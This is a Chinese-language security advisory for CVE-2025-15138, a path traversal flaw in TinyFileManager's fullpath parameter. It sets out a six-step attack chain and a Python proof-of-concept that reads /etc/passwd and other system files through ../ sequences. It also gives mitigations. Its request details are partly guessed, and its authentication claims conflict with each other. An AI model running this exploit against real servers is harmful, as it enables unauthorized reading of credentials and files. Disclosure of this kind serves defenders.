IPBUF安全漏洞报告
English
CVE-2025-15138 CVSS 4.7 中危

CVE-2025-15138 TinyFileManager路径遍历漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15138
漏洞类型
路径遍历
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
TinyFileManager (prasathmani/tinyfilemanager)

相关标签

路径遍历CVE-2025-15138TinyFileManagerWeb应用漏洞文件操作信息泄露 Prasathmanitinyfilemanager.php

漏洞概述

CVE-2025-15138是 Prasathmani TinyFileManager 2.6及之前版本中的一个路径遍历(Path Traversal)漏洞。该漏洞存在于文件tinyfilemanager.php中,由于对fullpath参数缺乏充分的输入验证,攻击者可以通过构造特殊的文件路径字符串来访问服务器上的任意文件。TinyFileManager是一款流行的基于Web的开源文件管理器,允许用户通过浏览器进行文件的上传、下载、编辑和删除等操作。由于该工具通常部署在Web服务器上,漏洞的远程利用难度较低,且无需复杂的认证即可实施攻击。攻击者可以利用此漏洞读取服务器上的敏感配置文件、凭据文件、源代码等敏感信息,进而可能导致进一步的横向移动或数据泄露。漏洞已被公开披露,且厂商在接到安全通知后未做出任何回应,因此建议用户尽快采取防护措施。

技术细节

该路径遍历漏洞的根本原因在于TinyFileManager对用户输入的fullpath参数处理不当。在tinyfilemanager.php文件中,当用户请求文件操作(如读取、下载或编辑文件)时,程序直接使用fullpath参数指定的路径而未进行充分的路径规范化(Path Normalization)和安全检查。攻击者可以通过在路径中使用../序列来跳出应用目录,访问服务器文件系统中的任意文件。例如,使用类似../../../etc/passwd的路径可以读取系统密码文件。漏洞影响的是文件管理功能中的未知处理流程,攻击向量为网络层面,认证要求为高权限(PR:H),这意味着需要具有文件管理器操作权限的用户账号才能利用此漏洞。然而,由于TinyFileManager默认配置可能存在弱口令或默认凭证,实际利用门槛可能较低。CVSS 3.1评分4.7(中等严重程度)反映了该漏洞对机密性、完整性和可用性造成的低至中度影响。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站是否使用TinyFileManager,通过搜索默认路径如/tinyfilemanager.php或/readme等
STEP 2
步骤2
获取访问权限:利用默认凭证或弱密码登录TinyFileManager管理面板
STEP 3
步骤3
构造恶意请求:在fullpath参数中注入路径遍历序列如../../../etc/passwd
STEP 4
步骤4
触发漏洞:发送包含恶意fullpath的HTTP请求,诱导服务器读取目标文件
STEP 5
步骤5
数据窃取:接收服务器返回的敏感文件内容,可能包括系统配置、数据库凭证、源代码等
STEP 6
步骤6
横向移动:利用获取的凭据访问其他系统或服务,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15138 Path Traversal PoC for TinyFileManager # Target: TinyFileManager <= 2.6 # Vulnerability: Path traversal via fullpath parameter import requests import sys from urllib.parse import quote TARGET_URL = "http://target.com/tinyfilemanager.php" def exploit_path_traversal(target_url, filename="/etc/passwd"): """ Exploit path traversal vulnerability to read arbitrary files """ # Encode path traversal sequence traversal_path = "../../../.." + filename encoded_path = quote(traversal_path, safe='') # Prepare request parameters params = { 'fullpath': encoded_path, 'action': 'download' # or 'edit' depending on endpoint } try: print(f"[*] Attempting to read: {filename}") print(f"[*] Fullpath parameter: {encoded_path}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] # Target sensitive files files_to_read = ["/etc/passwd", "/etc/hosts", "../../../../windows/win.ini"] for f in files_to_read: exploit_path_traversal(TARGET_URL, f) print("-" * 50)

影响范围

TinyFileManager <= 2.6

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 使用Web服务器配置限制tinyfilemanager.php的访问,仅允许受信任的IP地址访问;2) 修改TinyFileManager的默认认证凭据为强密码;3) 在应用层添加输入过滤,移除路径遍历字符序列(../和..\);4) 配置PHP的open_basedir限制,限制PHP脚本只能访问特定目录;5) 使用ModSecurity等WAF规则阻止包含路径遍历特征的请求;6) 考虑暂时禁用文件管理功能或部署替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表